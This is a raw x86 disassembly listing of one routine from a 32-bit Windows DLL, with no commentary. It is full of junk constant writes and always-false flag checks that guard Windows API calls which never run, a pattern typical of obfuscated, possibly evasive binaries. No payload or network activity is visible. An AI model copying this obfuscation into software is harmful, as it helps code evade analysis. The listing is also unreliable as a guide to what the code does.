mov eax, dword [ebp - 0x30]
cmp edx, eax
mov eax, dword [ebp - 0x6c]
setl cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x6c]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x6c]
cmp eax, edx
setne cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x6c]
cmp dword [ebp - 0x4c], eax
jg 0x10030266
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x6c], 0
jne 0x10030266
xor eax, eax
mov edx, eax
jmp 0x10030268
mov edx, edi
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0x6c]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
setg dl
sub edx, 0xbe945d44
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp eax, edx
mov eax, dword [ebp - 0x6c]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x750]
mov eax, dword [ebp - 0x4c]
xor eax, eax
push eax
call fcn.10016d1d
xor eax, eax
lea ecx, [ebp - 0x750]
push eax
call fcn.10016d1d
mov ecx, dword [ebp - 0x1230]
xor edx, edx
mov eax, dword [ebp - 0x30]
cmp ecx, eax
sete dl
xor eax, eax
mov dword [ebp - 0x2c], edx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jle 0x10030164
or esi, 0xffffffff
lea ecx, [ebp - 0x750]
mov dword [ebp - 4], esi
call fcn.10016d18
mov dword [ebp - 0x1c], 0xfffffff6
mov dword [ebp - 0x14], 0xa6c65b0b
mov dword [ebp - 0x38], 0x3fa8726a
mov dword [ebp - 0x1c], ebx
jmp 0x10030373
mov dword [ebp - 0x10], 0xf390197f
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1003033c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x15bc], 0xfffffffc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10030323
xor eax, eax
mov dword [ebp - 0x10], 3
cmp dword [ebp - 0x10], eax
jl 0x10030361
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x2c], 0x753e1e01
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x10]
jns 0x10030348
mov edx, eax
cmp dword [ebp - 0x10], eax
je 0x10030363
mov edx, edi
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, edx
setle cl
mov dword [ebp - 0x14], ecx
dec dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x1c], 0xffffffe6
je 0x10030313
cmp dword [ebp - 0x14], eax
je 0x10030457
mov dword [ebp - 0x38], 0x389f
mov dword [ebp - 0x50], 0x317d239f
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100304c4
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x4c], 0x34ab462a
mov dword [ebp - 0x10], eax
jmp 0x100303be
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xc98], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100303b1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x10030440
mov dword [ebp - 0x38], 0xff2fd6b2
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xc98]
cmp eax, dword [ebp - 0x1c]
jg 0x10030414
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0xc98]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xc98]
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x38]
jne 0x10030414
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xc98]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1003043d
push eax
push 0x4e2
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jle 0x100303d1
dec dword [ebp - 0x14]
push 0
pop eax
cmp dword [ebp - 0x14], esi
jl 0x1003039e
jmp 0x100304c2
mov dword [ebp - 0x4c], 0x675f713e
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1003047e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x430], 3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10030466
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x100304aa
mov eax, dword [ebp - 0x42c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x430], 0x9c78
jge 0x1003049e
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x42c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x42c]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], edi
xor eax, eax
mov dword [ebp - 0x44], 3
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100304dd
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100304ec
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
mov dword [ebp - 0x1c], 0x7bf48c44
lea ecx, [ebp - 0x800]
mov dword [ebp - 0x4c], 0xd7cbae8b
mov dword [ebp - 0x38], 0x2c02a306
mov dword [ebp - 0x50], 0x3063
mov dword [ebp - 0x4c], 0xfffffff8
push 3
call fcn.10016cb0
mov dword [ebp - 4], 7
xor eax, eax
mov dword [ebp - 0x2c], 0xeb81
mov dword [ebp - 0x48], 0xd786ff52
mov dword [ebp - 0x10], eax
jmp 0x1003054b
push dword [ebp - 0x10]
lea ecx, [ebp - 0x800]
call fcn.10016d1d
mov dword [eax], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10030538
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x1c], 0x1c23
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x38], eax
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1003057a
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x800]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x4c], edi
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
push ebx
call fcn.10016d1d
xor eax, eax
lea ecx, [ebp - 0x800]
push eax
call fcn.10016d1d
mov ecx, esi
sub ecx, dword [eax]
mov eax, dword [ebp - 0x2c]
add eax, ecx
jne 0x100305b4
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x50]
lea ecx, [ebp - 0x800]
push ebx
call fcn.10016d1d
lea ecx, [ebp - 0x800]
mov eax, dword [eax]
dec eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 4], esi
call fcn.10016d18
mov dword [ebp - 0x30], 0x53606de7
xor eax, eax
mov dword [ebp - 0x24], 0xfb0b0297
mov dword [ebp - 0x4c], 0xf4caa5d7
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x44], 0xfffffff6
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1003061e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x11dc], 0xfffffffb
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10030605
xor eax, eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], eax
jl 0x100306e4
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x2c], 0x8f492357
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x100306db
xor ecx, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
setge bl
xor edx, edx
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, ebx
setge al
cmp eax, dword [ebp - 0x14]
je 0x10030686
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x10030688
mov edx, edi
jmp 0x1003068a
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x11d8]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
mov dword [ebp - 0x2c], ecx
dec dword [ebp - 0x14]
jns 0x10030640
push 2
xor eax, eax
pop ebx
dec dword [ebp - 0x24]
jns 0x1003062a
dec dword [ebp - 0x38]
lea ecx, [ebp - 0x890]
push edi
call fcn.10016cb0
push 8
pop eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x4b4]
push 0xfffffffffffffffd
mov dword [ebp - 0x4c], 0x6fc33146
mov dword [ebp - 0x14], esi
pop esi
mov dword [ebp - 0x10], esi
push ebx
call fcn.10016cb0
mov byte [ebp - 4], 9
xor eax, eax
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1003073a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x24c], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10030726
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1003075c
push dword [ebp - 0x14]
lea ecx, [ebp - 0x4b4]
call fcn.10016d1d
mov dword [eax], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10030742
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1003077c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x858], 0xba16
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10030764
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1003079e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe20], 0x461d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10030785
xor eax, eax
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x14], eax
jl 0x10030844
push 8
pop ecx
mov dword [ebp - 0x2c], ecx
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100307c0
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x4b4]
mov dword [ebp - 0x10], eax
xor eax, eax
push eax
call fcn.10016d1d
mov edx, dword [ebp - 0x10]
mov esi, eax
add edx, dword [ebp - 0x14]
xor eax, eax
mov ecx, dword [ebp - 0x14]
cmp edx, ecx
push 0
setle al
xor ecx, ecx
cmp eax, 0x7563ffaf
mov eax, dword [ebp - 0x858]
setge cl
xor edx, edx
cmp ecx, dword [esi]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setl bl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x24c]
neg eax
cmp eax, 0x693009c
mov eax, dword [ebp - 0x14]
setg cl
sub ecx, ebx
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp + eax*4 - 0x24c]
imul eax, ecx, 0x38ab
inc eax
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x14]
pop eax
jns 0x100307aa
push 2
pop ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jg 0x10030973
jmp 0x10030854
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x10], eax
jmp 0x10030871
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x9fc], 0x5659
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10030860
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x24c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x24c]
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x4b4]
push eax
call fcn.10016d1d
mov ecx, dword [ebp - 0x14]
mov esi, eax
xor eax, eax
mov edx, dword [ebp + ecx*4 - 0x24c]
mov ecx, dword [ebp - 0x10]
cmp ecx, edx
setle al
xor edx, edx
imul ecx, eax, 0xe71c
mov eax, dword [ebp - 0x9fc]
add ecx, dword [esi]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x24c]
test eax, eax
sete cl
add ecx, edx
imul eax, ecx, 0xa6d7
xor ecx, ecx
cmp eax, ebx
setg cl
imul eax, ecx, 0x3e99
xor ecx, ecx
cmp eax, 0x5291260e
setl cl
xor eax, eax
imul ecx, dword [ebp - 0x48]
add ecx, dword [ebp - 0x9fc]
je 0x1003091e
push eax
lea ecx, [ebp - 0x4b4]
call fcn.10016d1d
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
jmp 0x10030961
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x10030950
push 0xaad
push 0x1662
push 0xd8d
push 0x89c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
xor eax, eax
push eax
lea ecx, [ebp - 0x4b4]
call fcn.10016d1d
cmp dword [eax], 0
jne 0x10030973
dec dword [ebp - 0xe1c]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x10030852
push 8
pop eax
lea ecx, [ebp - 0x4b4]
mov byte [ebp - 4], al
call fcn.10016d18
push 0xfffffffffffffffd
pop esi
or eax, 0xffffffff
lea ecx, [ebp - 0x58c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], esi
push ebx
call fcn.10016cb0
mov byte [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100309c1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x26c], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100309ad
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100309e3
push dword [ebp - 0x14]
lea ecx, [ebp - 0x58c]
call fcn.10016d1d
mov dword [eax], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100309c9
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10030a03
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6e4], 0xba16
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100309eb
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10030a25
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe38], 0x461d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10030a0c
xor eax, eax
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x14], eax
jl 0x10030acb
push 8
pop ecx
mov dword [ebp - 0x2c], ecx
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10030a47
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x58c]
mov dword [ebp - 0x10], eax
xor eax, eax
push eax
call fcn.10016d1d
mov edx, dword [ebp - 0x10]
mov esi, eax
add edx, dword [ebp - 0x14]
xor eax, eax
mov ecx, dword [ebp - 0x14]
cmp edx, ecx
push 0
setle al
xor ecx, ecx
cmp eax, 0x7563ffaf
mov eax, dword [ebp - 0x6e4]
setge cl
xor edx, edx
cmp ecx, dword [esi]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setl bl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x26c]
neg eax
cmp eax, 0x693009c
mov eax, dword [ebp - 0x14]
setg cl
sub ecx, ebx
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp + eax*4 - 0x26c]
imul eax, ecx, 0x38ab
inc eax
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x14]
pop eax
jns 0x10030a31
push 2
pop ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jg 0x10030bfa
jmp 0x10030adb
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x10], eax
jmp 0x10030af8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xa9c], 0x5659
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10030ae7
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x26c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x26c]
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x58c]
push eax
call fcn.10016d1d
mov ecx, dword [ebp - 0x14]
mov esi, eax
xor eax, eax
mov edx, dword [ebp + ecx*4 - 0x26c]
mov ecx, dword [ebp - 0x10]
cmp ecx, edx
setle al
xor edx, edx
imul ecx, eax, 0xe71c
mov eax, dword [ebp - 0xa9c]
add ecx, dword [esi]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x26c]
test eax, eax
sete cl
add ecx, edx
imul eax, ecx, 0xa6d7
xor ecx, ecx
cmp eax, ebx
setg cl
imul eax, ecx, 0x3e99
xor ecx, ecx
cmp eax, 0x5291260e
setl cl
xor eax, eax
imul ecx, dword [ebp - 0x48]
add ecx, dword [ebp - 0xa9c]
je 0x10030ba5
push eax
lea ecx, [ebp - 0x58c]
call fcn.10016d1d
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
jmp 0x10030be8
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x10030bd7
push 0xaad
push 0x1662
push 0xd8d
push 0x89c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
xor eax, eax
push eax
lea ecx, [ebp - 0x58c]
call fcn.10016d1d
cmp dword [eax], 0
jne 0x10030bfa
dec dword [ebp - 0xe34]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x10030ad9
push 8
pop eax
lea ecx, [ebp - 0x58c]
mov byte [ebp - 4], al
call fcn.10016d18
mov dword [ebp - 0x2c], 0xaa4807c1
lea ecx, [ebp - 0x768]
push 3
call fcn.10016cb0
mov byte [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x10], 0xf251d69f
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x10030c54
push dword [ebp - 0x10]
lea ecx, [ebp - 0x768]
call fcn.10016d1d
mov dword [eax], 0xc6a53d06
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10030c35
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jg 0x10030d18
or ecx, 0xffffffff
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], eax
jl 0x10030d0c
or ebx, 0xffffffff
mov dword [ebp - 0x4c], 0x644bb323
lea ecx, [ebp - 0x768]
mov dword [ebp - 0x4c], 0x5477a75e
push dword [ebp - 0x3c]
call fcn.10016d1d
cmp dword [eax], 0
je 0x10030ce9
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x768]
call fcn.10016d1d
mov ecx, ebx
sub ecx, dword [eax]
mov eax, 0xe055a24b
cmp eax, ecx
lea ecx, [ebp - 0x768]
sbb eax, eax
neg eax
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x3c]
call fcn.10016d1d
mov ecx, dword [ebp - 0x4c]
mov esi, eax
xor eax, eax
cmp ecx, 0xdfee
mov ecx, dword [ebp - 0x3c]
setg al
xor edx, edx
cmp eax, ecx
setg dl
cmp edx, dword [esi]
jne 0x10030ce9
mov eax, edi
jmp 0x10030ceb
xor eax, eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
dec eax
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x3c]
jns 0x10030c78
push 2
xor eax, eax
or ecx, 0xffffffff
pop ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x10030c63
push 8
pop eax
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], al
call fcn.10016d18
push edi
lea ecx, [ebp - 0xe50]
call fcn.10016cb0
mov byte [ebp - 4], 0xc
xor eax, eax
mov dword [ebp - 0x10], 0xe83c7730
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10030d68
push dword [ebp - 0x10]
lea ecx, [ebp - 0xe50]
call fcn.10016d1d
mov dword [eax], 0xec2e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10030d4a
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10030d7a
push eax
call dword [sym.imp.GDI32.dll_CreatePalette]
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x10030da7
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10030da2
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
xor eax, eax
dec dword [ebp - 0x10]
jns 0x10030d82
push 8
pop eax
lea ecx, [ebp - 0xe50]
mov byte [ebp - 4], al
call fcn.10016d18
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10030dd7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x64], 0xe3556834
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10030dc2
xor eax, eax
mov dword [ebp - 0x14], 0xb26bdde0
mov dword [ebp - 0x4c], 0xc2489102
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xe
je 0x10030ebc
push 9
pop esi
mov dword [ebp - 0x38], esi
xor edx, edx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setge dl
xor ebx, ebx
cmp edx, 0x6ee9
setge bl
xor ecx, ecx
dec ebx
cmp ebx, eax
mov eax, dword [ebp - 0x14]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x50]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x4c], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x4c]
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
cmp edx, eax
setge cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x14]
je 0x10030e62
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp eax, esi
setne cl
xor eax, eax
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x4c], eax
je 0x10030e7d
cmp dword [ebp - 0x14], eax
je 0x10030e7d
mov eax, edi
mov dword [ebp - 0x2c], eax
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x10030ea9
push 0x17a2
push 0x2ea
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xe
push 0
pop eax
jne 0x10030dfb
push 2
pop ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10030ee2
push dword [ebp - 0x14]
lea ecx, [ebp - 0x890]
call fcn.10016d1d
mov dword [eax], 0xd09eb818
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10030ec4
xor eax, eax
movdqa xmm0, xmmword [0x10007a60]
lea ecx, [ebp - 0x135c]
mov dword [ebp - 0x1c], 0xba394643
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x1040]
push eax
lea eax, [ebp - 0x1050]
push eax
movdqu xmmword [ebp - 0x1050], xmm0
call fcn.10016d2c
lea ecx, [ebp - 0x1be]
mov esi, eax
call fcn.10008a83
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xb0c]
push dword [esi]
call fcn.10016cf2
mov byte [ebp - 4], 0xd
xor eax, eax
mov dword [ebp - 0x2c], 0xd91509cf
push 4
mov dword [ebp - 0x14], eax
pop esi
cmp dword [ebp - 0x14], esi
jge 0x10030f63
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1080], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10030f4b
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10030f83
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x638], 0x84225189
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10030f6b
xor eax, eax
mov dword [ebp - 0x1c], 3
cmp dword [ebp - 0x1c], eax
jl 0x100310b4
mov esi, 0xbda18461
mov dword [ebp - 0x14], 0x7e17f75
lea ecx, [ebp - 0xe68]
mov dword [ebp - 0x44], 0x2bc40ed3
push edi
call fcn.10016cb0
mov byte [ebp - 4], 0xe
xor eax, eax
mov dword [ebp - 0x5f4], esi
mov dword [ebp - 0x5f0], esi
mov dword [ebp - 0x5ec], esi
mov dword [ebp - 0x5e8], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10030ff2
push dword [ebp - 0x10]
lea ecx, [ebp - 0xe68]
call fcn.10016d1d
mov dword [eax], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10030fd8
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jg 0x10031052
or ecx, 0xffffffff
mov dword [ebp - 0x44], 0x9e672ca3
mov dword [ebp - 0x44], 0xdfe012d2
mov dword [ebp - 0x44], 0x8fb0b4
mov dword [ebp - 0x44], 0xd40a1650
mov dword [ebp - 0x44], 0x405cefd0
mov dword [ebp - 0x44], 6
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x638]
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10031049
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
or ecx, 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jle 0x10030ffe
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], eax
jl 0x10031097
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1003107b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
mov eax, dword [ebp - 0x14]
push 0
mov ecx, dword [ebp + eax*4 - 0x1080]
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1080], ecx
dec dword [ebp - 0x14]
pop eax
jns 0x1003105e
lea ecx, [ebp - 0xe68]
mov byte [ebp - 4], 0xd
